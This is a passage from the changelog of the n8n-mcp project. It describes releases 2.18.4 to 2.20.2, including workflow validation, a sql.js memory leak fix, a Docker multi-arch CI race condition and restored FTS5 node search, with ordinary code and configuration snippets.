3073 | - Result: Workflows existed in API but showed "Workflow not found" in UI
3074 |
3075 | #### Solution (Two-Phase Fix)
3076 |
3077 | **Phase 1 - Basic Validation**:
3078 | - ✅ Added final workflow structure validation after applying all diff operations
3079 | - ✅ Improved error messages with actionable examples showing correct syntax
3080 | - ✅ Reject updates that would create invalid workflows with clear feedback
3081 | - ✅ Updated tests to create valid workflows and verify prevention of invalid ones
3082 |
3083 | **Phase 2 - Enhanced Validation** (discovered via real-world testing):
3084 | - ✅ Detects ALL disconnected nodes, not just empty connection objects
3085 | - ✅ Identifies each disconnected node by name and type
3086 | - ✅ Provides specific fix suggestions naming the actual nodes
3087 | - ✅ Handles webhook/trigger nodes correctly (can be source-only)
3088 | - ✅ Tested against real incremental workflow building scenarios
3089 |
3090 | #### Changes
3091 | - `src/mcp/handlers-workflow-diff.ts`: Added `validateWorkflowStructure()` call after diff application
3092 | - `src/services/n8n-validation.ts`:
3093 | - Enhanced error messages with operation examples
3094 | - **Added comprehensive disconnected node detection** (Phase 2)
3095 | - Builds connection graph and identifies orphaned nodes
3096 | - Suggests specific connection operations with actual node names
3097 | - Tests:
3098 | - Fixed 3 existing tests creating invalid workflows
3099 | - Added 4 new validation tests (3 in Phase 1, 1 in Phase 2)
3100 | - Test for incremental node addition without connections
3101 |
3102 | #### Real-World Testing
3103 | Tested against actual workflow building scenario (`chat_workflows_phase1.md`):
3104 | - Agent building 28-node workflow incrementally
3105 | - Validation correctly detected node added without connection
3106 | - Error message provided exact fix with node names
3107 | - Prevents UI from showing "Workflow not found" error
3108 |
3109 | #### Impact
3110 | - 🎯 **Prevention**: Impossible to create workflows that UI cannot render
3111 | - 📝 **Feedback**: Clear error messages explaining why workflow is invalid
3112 | - ✅ **Compatibility**: All existing valid workflows continue to work
3113 | - 🔒 **Safety**: Validates before API call, prevents corruption at source
3114 | - 🏗️ **Incremental Building**: Safe to build workflows step-by-step with validation at each step
3115 |
3116 | ## [2.20.2] - 2025-10-18
3117 |
3118 | ### 🐛 Critical Bug Fixes
3119 |
3120 | **Issue #330: Memory Leak in sql.js Adapter (Docker/Kubernetes)**
3121 |
3122 | Fixed critical memory leak causing growth from 100Mi to 2.2GB over 2-3 days in long-running Docker/Kubernetes deployments.
3123 |
3124 | #### Problem Analysis
3125 |
3126 | **Environment:**
3127 | - Kubernetes/Docker deployments using sql.js fallback
3128 | - Growth rate: ~23 MB/hour (444Mi after 19 hours)
3129 | - Pattern: Linear accumulation, not garbage collected
3130 | - Impact: OOM kills every 24-48 hours in memory-limited pods (256-512MB)
3131 |
3132 | **Root Causes Identified:**
3133 |
3134 | 1. **Over-aggressive save triggering:** Every database operation (including read-only queries) triggered saves
3135 | 2. **Too frequent saves:** 100ms debounce interval = 3-5 saves/second under load
3136 | 3. **Double allocation:** `Buffer.from()` created unnecessary copy (4-10MB per save)
3137 | 4. **No cleanup:** Relied solely on garbage collection which couldn't keep pace
3138 | 5. **Docker limitation:** Main Dockerfile lacked build tools, forcing sql.js fallback instead of better-sqlite3
3139 |
3140 | **Memory Growth Pattern:**
3141 | ```
3142 | Hour 0: 104 MB (baseline)
3143 | Hour 5: 220 MB (+116 MB)
3144 | Hour 10: 330 MB (+110 MB)
3145 | Hour 19: 444 MB (+114 MB)
3146 | Day 3: 2250 MB (extrapolated - OOM kill)
3147 | ```
3148 |
3149 | #### Fixed
3150 |
3151 | **Code-Level Optimizations (sql.js adapter):**
3152 |
3153 | ✅ **Removed unnecessary save triggers**
3154 | - `prepare()` no longer calls `scheduleSave()` (read operations don't modify DB)
3155 | - Only `exec()` and `run()` trigger saves (write operations only)
3156 | - **Impact:** 90% reduction in save calls
3157 |
3158 | ✅ **Increased debounce interval**
3159 | - Changed: 100ms → 5000ms (5 seconds)
3160 | - Configurable via `SQLJS_SAVE_INTERVAL_MS` environment variable
3161 | - **Impact:** 98% reduction in save frequency (100ms → 5s)
3162 |
3163 | ✅ **Removed Buffer.from() copy**
3164 | - Before: `const buffer = Buffer.from(data);` (2-5MB copy)
3165 | - After: `fsSync.writeFileSync(path, data);` (direct Uint8Array write)
3166 | - **Impact:** 50% reduction in temporary allocations per save
3167 |
3168 | ✅ **Optimized memory allocation**
3169 | - Removed Buffer.from() copy, write Uint8Array directly to disk
3170 | - Local variable automatically cleared when function exits
3171 | - V8 garbage collector can reclaim memory immediately after save
3172 | - **Impact:** 50% reduction in temporary allocations per save
3173 |
3174 | ✅ **Made save interval configurable**
3175 | - New env var: `SQLJS_SAVE_INTERVAL_MS` (default: 5000)
3176 | - Validates input (minimum 100ms, falls back to default if invalid)
3177 | - **Impact:** Tunable for different deployment scenarios
3178 |
3179 | **Infrastructure Fix (Dockerfile):**
3180 |
3181 | ✅ **Enabled better-sqlite3 in Docker**
3182 | - Added build tools (python3, make, g++) to main Dockerfile
3183 | - Compile better-sqlite3 during npm install, then remove build tools
3184 | - Image size increase: ~5-10MB (acceptable for eliminating memory leak)
3185 | - **Impact:** Eliminates sql.js entirely in Docker (best fix)
3186 |
3187 | ✅ **Railway Dockerfile verified**
3188 | - Already had build tools (python3, make, g++)
3189 | - Added explanatory comment for maintainability
3190 | - **Impact:** No changes needed
3191 |
3192 | #### Impact
3193 |
3194 | **With better-sqlite3 (now default in Docker):**
3195 | - ✅ Memory: Stable at ~100-120 MB (native SQLite)
3196 | - ✅ Performance: Better than sql.js (no WASM overhead)
3197 | - ✅ No periodic saves needed (writes directly to disk)
3198 | - ✅ Eliminates memory leak entirely
3199 |
3200 | **With sql.js (fallback only, if better-sqlite3 fails):**
3201 | - ✅ Memory: Stable at 150-200 MB (vs 2.2GB after 3 days)
3202 | - ✅ No OOM kills in long-running Kubernetes pods
3203 | - ✅ Reduced CPU usage (98% fewer disk writes)
3204 | - ✅ Same data safety (5-second save window acceptable)
3205 |
3206 | **Before vs After Comparison:**
3207 |
3208 | | Metric | Before Fix | After Fix (sql.js) | After Fix (better-sqlite3) |
3209 | |--------|------------|-------------------|---------------------------|
3210 | | Adapter | sql.js | sql.js (fallback) | better-sqlite3 (default) |
3211 | | Memory (baseline) | 100 MB | 150 MB | 100 MB |
3212 | | Memory (after 72h) | 2.2 GB | 150-200 MB | 100-120 MB |
3213 | | Save frequency | 3-5/sec | ~1/5sec | Direct to disk |
3214 | | Buffer allocations | 4-10 MB/save | 2-5 MB/save | None |
3215 | | OOM kills | Every 24-48h | Eliminated | Eliminated |
3216 |
3217 | #### Configuration
3218 |
3219 | **New Environment Variable:**
3220 |
3221 | ```bash
3222 | SQLJS_SAVE_INTERVAL_MS=5000 # Debounce interval in milliseconds
3223 | ```
3224 |
3225 | **Usage:**
3226 | - Only relevant when sql.js fallback is used
3227 | - Default: 5000ms (5 seconds)
3228 | - Minimum: 100ms
3229 | - Increase for lower memory churn, decrease for more frequent saves
3230 | - Invalid values fall back to default
3231 |
3232 | **Example Docker Configuration:**
3233 | ```yaml
3234 | environment:
3235 | - SQLJS_SAVE_INTERVAL_MS=10000 # Save every 10 seconds
3236 | ```
3237 |
3238 | #### Technical Details
3239 |
3240 | **Files Modified:**
3241 | - `src/database/database-adapter.ts` - SQLJSAdapter optimization
3242 | - `Dockerfile` - Added build tools for better-sqlite3
3243 | - `Dockerfile.railway` - Added documentation comment
3244 | - `tests/unit/database/database-adapter-unit.test.ts` - New test suites
3245 | - `tests/integration/database/sqljs-memory-leak.test.ts` - New integration tests
3246 |
3247 | **Testing:**
3248 | - ✅ All unit tests passing
3249 | - ✅ New integration tests for memory leak prevention
3250 | - ✅ Docker builds verified (both Dockerfile and Dockerfile.railway)
3251 | - ✅ better-sqlite3 compilation successful in Docker
3252 |
3253 | #### References
3254 |
3255 | - Issue: #330
3256 | - PR: [To be added]
3257 | - Reported by: @Darachob
3258 | - Root cause analysis by: Explore agent investigation
3259 |
3260 | ---
3261 |
3262 | ## [2.20.1] - 2025-10-18
3263 |
3264 | ### 🐛 Critical Bug Fixes
3265 |
3266 | **Issue #328: Docker Multi-Arch Race Condition (CRITICAL)**
3267 |
3268 | Fixed critical CI/CD race condition that caused temporary ARM64-only Docker manifests, breaking AMD64 users.
3269 |
3270 | #### Problem Analysis
3271 |
3272 | During v2.20.0 release, **5 workflows ran simultaneously** on the same commit, causing a race condition where the `latest` Docker tag was temporarily ARM64-only:
3273 |
3274 | **Timeline of the Race Condition:**
3275 | ```
3276 | 17:01:36Z → All 5 workflows start simultaneously
3277 | - docker-build.yml (triggered by main push)
3278 | - release.yml (triggered by package.json version change)
3279 | - Both push to 'latest' tag with NO coordination
3280 |
3281 | Race Condition Window:
3282 | 2:30 → release.yml ARM64 completes (cache hit) → Pushes ARM64-only manifest
3283 | 2:31 → Registry has ONLY ARM64 for 'latest' ← Users affected here
3284 | 4:00 → release.yml AMD64 completes → Manifest updated
3285 | 7:00 → docker-build.yml overwrites everything again
3286 | ```
3287 |
3288 | **User Impact:**
3289 | - AMD64 users pulling `latest` during this window received ARM64-only images
3290 | - `docker pull` failed with "does not provide the specified platform (linux/amd64)"
3291 | - Workaround: Pin to specific version tags (e.g., `2.19.5`)
3292 |
3293 | #### Root Cause
3294 |
3295 | **CRITICAL Issue Found by Code Review:**
3296 | The original fix had **separate concurrency groups** that did NOT prevent the race condition:
3297 |
3298 | ```yaml
3299 | # docker-build.yml had:
3300 | concurrency:
3301 | group: docker-build-${{ github.ref }} # ← Different group!
3302 |
3303 | # release.yml had:
3304 | concurrency:
3305 | group: release-${{ github.ref }} # ← Different group!
3306 | ```
3307 |
3308 | These are **different groups**, so workflows could still run in parallel. The race condition persisted!
3309 |
3310 | #### Fixed
3311 |
3312 | **1. Shared Concurrency Group (CRITICAL)**
3313 | Both workflows now use the **SAME** concurrency group to serialize Docker pushes:
3314 |
3315 | ```yaml
3316 | # Both docker-build.yml AND release.yml now have:
3317 | concurrency:
3318 | group: docker-push-${{ github.ref }} # ← Same group!
3319 | cancel-in-progress: false
3320 | ```
3321 |
3322 | **Impact:** Workflows now wait for each other. When one is pushing to `latest`, the other queues.
3323 |
3324 | **2. Removed Redundant Tag Trigger**
3325 | - **docker-build.yml:** Removed `v*` tag trigger
3326 | - **Reason:** release.yml already handles versioned releases completely
3327 | - **Benefit:** Eliminates one source of race condition
3328 |
3329 | **3. Enabled Build Caching**
3330 | - Changed `no-cache: true` → `no-cache: false` in docker-build.yml
3331 | - Added `cache-from: type=gha` and `cache-to: type=gha,mode=max`
3332 | - **Benefit:** Faster builds (40-60% improvement), more predictable timing
3333 |
3334 | **4. Retry Logic with Exponential Backoff**
3335 | Replaced naive `sleep 5` with intelligent retry mechanism:
3336 |
3337 | ```yaml
3338 | # Retry up to 5 times with exponential backoff
3339 | MAX_ATTEMPTS=5
3340 | WAIT_TIME=2 # Starts at 2s
3341 |
3342 | for attempt in 1..5; do
3343 | check_manifest
3344 | if both_platforms_present; then exit 0; fi
3345 |
3346 | sleep $WAIT_TIME
3347 | WAIT_TIME=$((WAIT_TIME * 2)) # 2s → 4s → 8s → 16s
3348 | done
3349 | ```
3350 |
3351 | **Benefit:** Handles registry propagation delays gracefully, max wait ~30 seconds
3352 |
3353 | **5. Multi-Arch Manifest Verification**
3354 | Added verification steps after every Docker push:
3355 |
3356 | ```bash
3357 | # Verifies BOTH platforms are in manifest
3358 | docker buildx imagetools inspect ghcr.io/czlonkowski/n8n-mcp:latest
3359 | if [ amd64 AND arm64 present ]; then
3360 | echo "✅ Multi-arch manifest verified"
3361 | else
3362 | echo "❌ ERROR: Incomplete manifest!"
3363 | exit 1 # Fail the build
3364 | fi
3365 | ```
3366 |
3367 | **Benefit:** Catches incomplete pushes immediately, prevents silent failures
3368 |
3369 | **6. Railway Build Improvements**
3370 | - Added `needs: build` dependency → Ensures sequential execution
3371 | - Enabled caching → Faster builds
3372 | - Better error handling
3373 |
3374 | #### Files Changed
3375 |
3376 | **docker-build.yml:**
3377 | - Removed `tags: - 'v*'` trigger (line 8-9)
3378 | - Added shared concurrency group `docker-push-${{ github.ref }}`
3379 | - Changed `no-cache: true` → `false`
3380 | - Added cache configuration
3381 | - Added multi-arch verification with retry logic
3382 | - Added `needs: build` to Railway job
3383 |
3384 | **release.yml:**
3385 | - Updated concurrency group to shared `docker-push-${{ github.ref }}`
3386 | - Added multi-arch verification for `latest` tag with retry
3387 | - Added multi-arch verification for version tag with retry
3388 | - Enhanced error messages with attempt counters
3389 |
3390 | #### Impact
3391 |
3392 | **Before Fix:**
3393 | - ❌ Race condition between workflows
3394 | - ❌ Temporal ARM64-only window (minutes to hours)
3395 | - ❌ Slow builds (no-cache: true)
3396 | - ❌ Silent failures
3397 | - ❌ 5 workflows running simultaneously
3398 |
3399 | **After Fix:**
3400 | - ✅ Workflows serialized via shared concurrency group
3401 | - ✅ Always multi-arch or fail fast with verification
3402 | - ✅ Faster builds (caching enabled, 40-60% improvement)
3403 | - ✅ Automatic verification catches incomplete pushes
3404 | - ✅ Clear separation: docker-build.yml for CI, release.yml for releases
3405 |
3406 | #### Testing
3407 |
3408 | - ✅ TypeScript compilation passes
3409 | - ✅ YAML syntax validated
3410 | - ✅ Code review approved (all critical issues addressed)
3411 | - 🔄 Will monitor next release for proper serialization
3412 |
3413 | #### Verification Steps
3414 |
3415 | After merge, monitor that:
3416 | 1. Regular main pushes trigger only `docker-build.yml`
3417 | 2. Version bumps trigger `release.yml` (docker-build.yml waits)
3418 | 3. Actions tab shows workflows queuing (not running in parallel)
3419 | 4. Both workflows verify multi-arch manifest successfully
3420 | 5. `latest` tag always shows both AMD64 and ARM64 platforms
3421 |
3422 | #### Technical Details
3423 |
3424 | **Concurrency Serialization:**
3425 | ```yaml
3426 | # Workflow 1 starts → Acquires docker-push-main lock
3427 | # Workflow 2 starts → Sees lock held → Waits in queue
3428 | # Workflow 1 completes → Releases lock
3429 | # Workflow 2 acquires lock → Proceeds
3430 | ```
3431 |
3432 | **Retry Algorithm:**
3433 | - Total attempts: 5
3434 | - Backoff sequence: 2s, 4s, 8s, 16s
3435 | - Max total wait: ~30 seconds
3436 | - Handles registry propagation delays
3437 |
3438 | **Manifest Verification:**
3439 | - Checks for both `linux/amd64` AND `linux/arm64` in manifest
3440 | - Fails build if either platform missing
3441 | - Provides full manifest output in logs for debugging
3442 |
3443 | ### Changed
3444 |
3445 | - **CI/CD Workflows:** docker-build.yml and release.yml now coordinate via shared concurrency group
3446 | - **Build Performance:** Caching enabled in docker-build.yml for 40-60% faster builds
3447 | - **Verification:** All Docker pushes now verify multi-arch manifest before completion
3448 |
3449 | ### References
3450 |
3451 | - **Issue:** #328 - latest on GHCR is arm64-only
3452 | - **PR:** #334 - https://github.com/czlonkowski/n8n-mcp/pull/334
3453 | - **Code Review:** Identified critical concurrency group issue
3454 | - **Reporter:** @mickahouan
3455 | - **Branch:** `fix/docker-multiarch-race-condition-328`
3456 |
3457 | ## [2.20.0] - 2025-10-18
3458 |
3459 | ### ✨ Features
3460 |
3461 | **MCP Server Icon Support (SEP-973)**
3462 |
3463 | - Added custom server icons for MCP clients
3464 | - Icons served from https://www.n8n-mcp.com/logo*.png
3465 | - Multiple sizes: 48x48, 128x128, 192x192
3466 | - Future-proof for Claude Desktop icon UI support
3467 | - Added websiteUrl field pointing to https://n8n-mcp.com
3468 | - Server now reports correct version from package.json instead of hardcoded '1.0.0'
3469 |
3470 | ### 📦 Dependency Updates
3471 |
3472 | - Upgraded `@modelcontextprotocol/sdk` from ^1.13.2 to ^1.20.1
3473 | - Enables icon support as per MCP specification SEP-973
3474 | - No breaking changes, fully backward compatible
3475 |
3476 | ### 🔧 Technical Improvements
3477 |
3478 | - Server version now dynamically sourced from package.json via PROJECT_VERSION
3479 | - Enhanced server metadata to include branding and website information
3480 |
3481 | ### 📝 Notes
3482 |
3483 | - Icons won't display in Claude Desktop yet (pending upstream UI support)
3484 | - Icons will appear automatically when Claude Desktop adds icon rendering
3485 | - Other MCP clients (Cursor, Windsurf) may already support icon display
3486 |
3487 | ## [2.19.6] - 2025-10-14
3488 |
3489 | ### 📦 Dependency Updates
3490 |
3491 | - Updated n8n to ^1.115.2 (from ^1.114.3)
3492 | - Updated n8n-core to ^1.114.0 (from ^1.113.1)
3493 | - Updated n8n-workflow to ^1.112.0 (from ^1.111.0)
3494 | - Updated @n8n/n8n-nodes-langchain to ^1.114.1 (from ^1.113.1)
3495 |
3496 | ### 🔄 Database
3497 |
3498 | - Rebuilt node database with 537 nodes (increased from 525)
3499 | - Updated documentation coverage to 88%
3500 | - 270 AI-capable tools detected
3501 |
3502 | ### ✅ Testing
3503 |
3504 | - All 1,181 functional tests passing
3505 | - 1 flaky performance stress test (non-critical)
3506 | - All validation tests passing
3507 |
3508 | ## [2.18.8] - 2025-10-11
3509 |
3510 | ### 🐛 Bug Fixes
3511 |
3512 | **PR #308: Enable Schema-Based resourceLocator Mode Validation**
3513 |
3514 | This release fixes critical validator false positives by implementing true schema-based validation for resourceLocator modes. The root cause was discovered through deep analysis: the validator was looking at the wrong path for mode definitions in n8n node schemas.
3515 |
3516 | #### Root Cause
3517 |
3518 | - **Wrong Path**: Validator checked `prop.typeOptions?.resourceLocator?.modes` ❌
3519 | - **Correct Path**: n8n stores modes at `prop.modes` (top level of property) ✅
3520 | - **Impact**: 0% validation coverage - all resourceLocator validation was being skipped, causing false positives
3521 |
3522 | #### Fixed
3523 |
3524 | - **Schema-Based Validation Now Active**
3525 | - **Issue #304**: Google Sheets "name" mode incorrectly rejected (false positive)
3526 | - **Coverage**: Increased from 0% to 100% (all 70 resourceLocator nodes now validated)
3527 | - **Root Cause**: Validator reading from wrong schema path
3528 | - **Fix**: Changed validation path from `prop.typeOptions?.resourceLocator?.modes` to `prop.modes`
3529 | - **Files Changed**:
3530 | - `src/services/config-validator.ts` (lines 273-310): Corrected validation path
3531 | - `src/parsers/property-extractor.ts` (line 234): Added modes field capture
3532 | - `src/services/node-specific-validators.ts` (lines 270-282): Google Sheets range/columns flexibility
3533 | - Updated 6 test files to match real n8n schema structure
3534 |
3535 | - **Database Rebuild**
3536 | - Rebuilt with modes field captured from n8n packages
3537 | - All 70 resourceLocator nodes now have mode definitions populated
3538 | - Enables true schema-driven validation (no more hardcoded mode lists)
3539 |
3540 | - **Google Sheets Enhancement**
3541 | - Now accepts EITHER `range` OR `columns` parameter for append operation
3542 | - Supports Google Sheets v4+ resourceMapper pattern
3543 | - Better error messages showing actual allowed modes from schema
3544 |
3545 | #### Testing
3546 |
3547 | - **Before Fix**:
3548 | - ❌ Valid Google Sheets "name" mode rejected (false positive)
3549 | - ❌ Schema-based validation inactive (0% coverage)
3550 | - ❌ Hardcoded mode validation only
3551 |
3552 | - **After Fix**:
3553 | - ✅ Valid "name" mode accepted
3554 | - ✅ Schema-based validation active (100% coverage - 70/70 nodes)
3555 | - ✅ Invalid modes rejected with helpful errors: `must be one of [list, url, id, name]`
3556 | - ✅ All 143 tests pass
3557 | - ✅ Verified with n8n-mcp-tester agent
3558 |
3559 | #### Impact
3560 |
3561 | - **Fixes #304**: Google Sheets "name" mode false positive eliminated
3562 | - **Related to #306**: Validator improvements
3563 | - **No Breaking Changes**: More permissive (accepts previously rejected valid modes)
3564 | - **Better UX**: Error messages show actual allowed modes from schema
3565 | - **Maintainability**: Schema-driven approach eliminates need for hardcoded mode lists
3566 | - **Code Quality**: Code review score 9.3/10
3567 |
3568 | #### Example Error Message (After Fix)
3569 | ```
3570 | resourceLocator 'sheetName.mode' must be one of [list, url, id, name], got 'invalid'
3571 | Fix: Change mode to one of: list, url, id, name
3572 | ```
3573 |
3574 | ## [2.18.6] - 2025-10-10
3575 |
3576 | ### 🐛 Bug Fixes
3577 |
3578 | **PR #303: Environment-Aware Debugging Test Fix**
3579 |
3580 | This release fixes a unit test failure that occurred after implementing environment-aware debugging improvements. The handleHealthCheck error handler now includes troubleshooting guidance in error responses, and the test expectations have been updated to match.
3581 |
3582 | #### Fixed
3583 |
3584 | - **Unit Test Failure in handleHealthCheck**
3585 | - **Issue**: Test expected error response without `troubleshooting` array field
3586 | - **Impact**: CI pipeline failing on PR #303 after adding environment-aware debugging
3587 | - **Root Cause**: Environment-aware debugging improvements added a `troubleshooting` array to error responses, but unit test wasn't updated
3588 | - **Fix**: Updated test expectation to include the new troubleshooting field (lines 1030-1035 in `tests/unit/mcp/handlers-n8n-manager.test.ts`)
3589 | - **Error Response Structure** (now includes):
3590 | ```typescript
3591 | details: {
3592 | apiUrl: 'https://n8n.test.com',
3593 | hint: 'Check if n8n is running and API is enabled',
3594 | troubleshooting: [
3595 | '1. Verify n8n instance is running',
3596 | '2. Check N8N_API_URL is correct',
3597 | '3. Verify N8N_API_KEY has proper permissions',
3598 | '4. Run n8n_diagnostic for detailed analysis'
3599 | ]
3600 | }
3601 | ```
3602 |
3603 | #### Testing
3604 |
3605 | - **Unit Test**: Test now passes with troubleshooting array expectation
3606 | - **MCP Testing**: Extensively validated with n8n-mcp-tester agent
3607 | - Health check successful connections: ✅
3608 | - Error responses include troubleshooting guidance: ✅
3609 | - Diagnostic tool environment detection: ✅
3610 | - Mode-specific debugging (stdio/HTTP): ✅
3611 | - All environment-aware debugging features working correctly: ✅
3612 |
3613 | #### Impact
3614 |
3615 | - **CI Pipeline**: PR #303 now passes all tests
3616 | - **Error Guidance**: Users receive actionable troubleshooting steps when API errors occur
3617 | - **Environment Detection**: Comprehensive debugging guidance based on deployment environment
3618 | - **Zero Breaking Changes**: Only internal test expectations updated
3619 |
3620 | #### Related
3621 |
3622 | - **PR #303**: feat: Add environment-aware debugging to diagnostic tools
3623 | - **Implementation**: `src/mcp/handlers-n8n-manager.ts` lines 1447-1462
3624 | - **Diagnostic Tool**: Enhanced with mode-specific, Docker-specific, and cloud platform-specific debugging
3625 |
3626 | ## [2.18.5] - 2025-10-10
3627 |
3628 | ### 🔍 Search Performance & Reliability
3629 |
3630 | **Issue #296 Part 2: Fix Production Search Failures (69% Failure Rate)**
3631 |
3632 | This release fixes critical search failures that caused 69% of user searches to return zero results in production. Telemetry analysis revealed searches for critical nodes like "webhook", "merge", and "split batch" were failing despite nodes existing in the database.
3633 |
3634 | #### Problem
3635 |
3636 | **Root Cause Analysis:**
3637 | 1. **Missing FTS5 Table**: Production database had NO `nodes_fts` FTS5 virtual table
3638 | 2. **Empty Database Scenario**: When database was empty, both FTS5 and LIKE fallback returned zero results
3639 | 3. **No Detection**: Missing validation to catch empty database or missing FTS5 table
3640 | 4. **Production Impact**: 9 of 13 searches (69%) returned zero results for critical nodes with high user adoption
3641 |
3642 | **Telemetry Evidence** (Sept 26 - Oct 9, 2025):
3643 | - "webhook" search: 3 failures (node has 39.6% adoption rate - 4,316 actual uses)
3644 | - "merge" search: 1 failure (node has 10.7% adoption rate - 1,418 actual uses)
3645 | - "split batch" search: 2 failures (node is actively used in workflows)
3646 | - Overall: 9/13 searches failed (69% failure rate)
3647 |
3648 | **Technical Root Cause:**
3649 | - `schema.sql` had a note claiming "FTS5 tables are created conditionally at runtime" (line 111)
3650 | - This was FALSE - no runtime creation code existed
3651 | - `schema-optimized.sql` had correct FTS5 implementation but was never used
3652 | - `rebuild.ts` used `schema.sql` without FTS5
3653 | - Result: Production database had NO search index
3654 |
3655 | #### Fixed
3656 |
3657 | **1. Schema Updates**
3658 | - **File**: `src/database/schema.sql`
3659 | - Added `nodes_fts` FTS5 virtual table with full-text indexing
3660 | - Added synchronization triggers (INSERT/UPDATE/DELETE) to keep FTS5 in sync with nodes table
3661 | - Indexes: node_type, display_name, description, documentation, operations
3662 | - Updated misleading note about conditional FTS5 creation
3663 |
3664 | **2. Database Validation**
3665 | - **File**: `src/scripts/rebuild.ts`
3666 | - Added critical empty database detection (fails fast if zero nodes)
3667 | - Added FTS5 table existence validation
3668 | - Added FTS5 synchronization check (nodes count must match FTS5 count)
3669 | - Added searchability tests for critical nodes (webhook, merge, split)
3670 | - Added minimum node count validation (expects 500+ nodes from both packages)
3671 |
3672 | **3. Runtime Health Checks**
3673 | - **File**: `src/mcp/server.ts`
3674 | - Added database health validation on first access
3675 | - Detects empty database and throws clear error message
3676 | - Detects missing FTS5 table with actionable warning
3677 | - Logs successful health check with node count
3678 |
3679 | **4. Comprehensive Test Suite**
3680 | - **New File**: `tests/integration/database/node-fts5-search.test.ts` (14 tests)
3681 | - FTS5 table existence and trigger validation
3682 | - FTS5 index population and synchronization
3683 | - Production failure case tests (webhook, merge, split, code, http)
3684 | - Search quality and ranking tests
3685 | - Real-time trigger synchronization tests
3686 |
3687 | - **New File**: `tests/integration/database/empty-database.test.ts` (14 tests)
3688 | - Empty nodes table detection
3689 | - Empty FTS5 index detection
3690 | - LIKE fallback behavior with empty database
3691 | - Repository method behavior with no data
3692 | - Validation error messages
3693 |
3694 | - **New File**: `tests/integration/ci/database-population.test.ts` (24 tests)
3695 | - **CRITICAL CI validation** - ensures database is committed with data
3696 | - Validates all production search scenarios work (webhook, merge, code, http, split)
3697 | - Both FTS5 and LIKE fallback search validation
3698 | - Performance baselines (FTS5 < 100ms, LIKE < 500ms)
3699 | - Documentation coverage and property extraction metrics
3700 | - **Tests FAIL if database is empty or FTS5 missing** (prevents regressions)
3701 |
3702 | #### Technical Details
3703 |
3704 | **FTS5 Implementation:**
3705 | ```sql
3706 | CREATE VIRTUAL TABLE IF NOT EXISTS nodes_fts USING fts5(
3707 | node_type,
3708 | display_name,
3709 | description,
3710 | documentation,
3711 | operations,
3712 | content=nodes,
3713 | content_rowid=rowid
3714 | );
3715 | ```
3716 |
3717 | **Synchronization Triggers:**
3718 | - `nodes_fts_insert`: Adds to FTS5 when node inserted
3719 | - `nodes_fts_update`: Updates FTS5 when node modified
3720 | - `nodes_fts_delete`: Removes from FTS5 when node deleted
3721 |
3722 | **Validation Strategy:**
3723 | 1. **Build Time** (`rebuild.ts`): Validates FTS5 creation and population
3724 | 2. **Runtime** (`server.ts`): Health check on first database access
3725 | 3. **CI Time** (tests): 52 tests ensure database integrity
3726 |
3727 | **Search Performance:**
3728 | - FTS5 search: < 100ms for typical queries (20 results)
3729 | - LIKE fallback: < 500ms (still functional if FTS5 unavailable)
3730 | - Ranking: Exact matches prioritized in results
3731 |
3732 | #### Impact
3733 |
3734 | **Before Fix:**
3735 | - 69% of searches returned zero results
3736 | - Users couldn't find critical nodes via AI assistant
3737 | - Silent failure - no error messages
3738 | - n8n workflows still worked (nodes loaded directly from npm)
3739 |
3740 | **After Fix:**
3741 | - ✅ All critical searches return results
3742 | - ✅ FTS5 provides fast, ranked search
3743 | - ✅ Clear error messages if database empty
3744 | - ✅ CI tests prevent regression
3745 | - ✅ Runtime health checks detect issues immediately
3746 |
3747 | **LIKE Search Investigation:**
3748 | Testing revealed LIKE search fallback was **perfectly functional** - it only failed because the database was empty. No changes needed to LIKE implementation.
3749 |
3750 | #### Related
3751 |
3752 | - Addresses production search failures from Issue #296
3753 | - Complements v2.18.4 (which fixed adapter bypass for sql.js)
3754 | - Prevents silent search failures in production
3755 | - Ensures AI assistants can reliably search for nodes
3756 |
3757 | #### Migration
3758 |
3759 | **Existing Installations:**
3760 | ```bash
3761 | # Rebuild database to add FTS5 index
3762 | npm run rebuild
3763 |
3764 | # Verify FTS5 is working
3765 | npm run validate
3766 | ```
3767 |
3768 | **CI/CD:**
3769 | - New CI validation suite (`tests/integration/ci/database-population.test.ts`)
3770 | - Runs when database exists (after n8n update commits)
3771 | - Validates FTS5 table, search functionality, and data integrity
3772 | - Tests are skipped if database doesn't exist (most PRs don't commit database)
3773 |
3774 | ## [2.18.4] - 2025-10-09
3775 |
3776 | ### 🐛 Bug Fixes
3777 |
3778 | **Issue #296: sql.js Adapter Bypass Causing MCP Tool Failures**
3779 |
3780 | This release fixes a critical constructor bug in `NodeRepository` that caused the sql.js database adapter to be bypassed, resulting in empty object returns and MCP tool failures.
3781 |
3782 | #### Problem
3783 |
3784 | When using the sql.js fallback adapter (pure JavaScript implementation without native dependencies), three critical MCP tools were failing with "Cannot read properties of undefined" errors:
3785 | - `get_node_essentials`
3786 | - `get_node_info`
3787 | - `validate_node_operation`
3788 |
3789 | **Root Cause:**
3790 | The `NodeRepository` constructor used duck typing (`'db' in object`) to determine whether to unwrap the database adapter. This check incorrectly matched BOTH `SQLiteStorageService` AND `DatabaseAdapter` instances because both have a `.db` property.
3791 |
3792 | When sql.js was used:
3793 | 1. `createDatabaseAdapter()` returned a `SQLJSAdapter` instance (wrapped)
3794 | 2. `NodeRepository` constructor saw `'db' in adapter` was true
3795 | 3. Constructor unwrapped it: `this.db = adapter.db`
3796 | 4. This exposed the raw sql.js `Database` object, bypassing all wrapper logic
3797 | 5. Raw sql.js API has completely different behavior (returns typed arrays instead of objects)
3798 | 6. Result: Empty objects `{}` with no properties, causing undefined property access errors
3799 |
3800 | #### Fixed
3801 |
3802 | **NodeRepository Constructor Type Discrimination**
3803 | - Changed from duck typing (`'db' in object`) to precise instanceof check
3804 | - Only unwrap `SQLiteStorageService` instances (intended behavior)
3805 | - Keep `DatabaseAdapter` instances intact (preserves wrapper logic)
3806 | - File: `src/database/node-repository.ts`
3807 |
3808 | #### Technical Details
3809 |
3810 | **Before (Broken):**
3811 | ```typescript
3812 | constructor(dbOrService: DatabaseAdapter | SQLiteStorageService) {
3813 | if ('db' in dbOrService) { // ❌ Matches EVERYTHING with .db property
3814 | this.db = dbOrService.db; // Unwraps both SQLiteStorageService AND DatabaseAdapter
3815 | } else {
3816 | this.db = dbOrService;
3817 | }
3818 | }
3819 | ```
3820 |
3821 | **After (Fixed):**
3822 | ```typescript
3823 | constructor(dbOrService: DatabaseAdapter | SQLiteStorageService) {
3824 | if (dbOrService instanceof SQLiteStorageService) { // ✅ Only matches SQLiteStorageService
3825 | this.db = dbOrService.db;
3826 | return;
3827 | }
3828 |
3829 | this.db = dbOrService; // ✅ Keep DatabaseAdapter intact
